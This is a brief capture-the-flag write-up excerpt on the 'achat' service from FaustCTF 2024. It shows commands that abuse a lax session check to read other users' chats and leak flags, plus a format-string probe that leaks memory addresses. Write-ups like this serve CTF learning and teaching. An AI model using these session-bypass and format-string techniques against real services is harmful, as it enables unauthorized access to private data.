Tags: c musl formatstring bufferoverflow binary c  sessions 

Rating:

achat (or asm_chat in the scoreboard) is a binary generated from C source code, which was a service from FaustCTF 2024. It features a simple chat system, where users can create chats with each other and send text messages. It has two vulnerabilities, of which only one is actually exploitable: a too lazy session check, and a combined buffer overflow/format string.

In short:
```
$ list-users 123...45
- checkKLPPQlYmgyKUwPuY
$ search heckKLPPQlYmgyKUwPuY FAUST
... flags ...
```

The (non-exploitable format string):
```
$ send 12...34 x&y AAA...AAA%p%p...%p%p
$ search AAAAA
0x729f933c9ce0
0x5a1ada9bc643
...
```

Original writeup (https://saarsec.rocks/2024/09/29/FAUSTCTF-achat.html).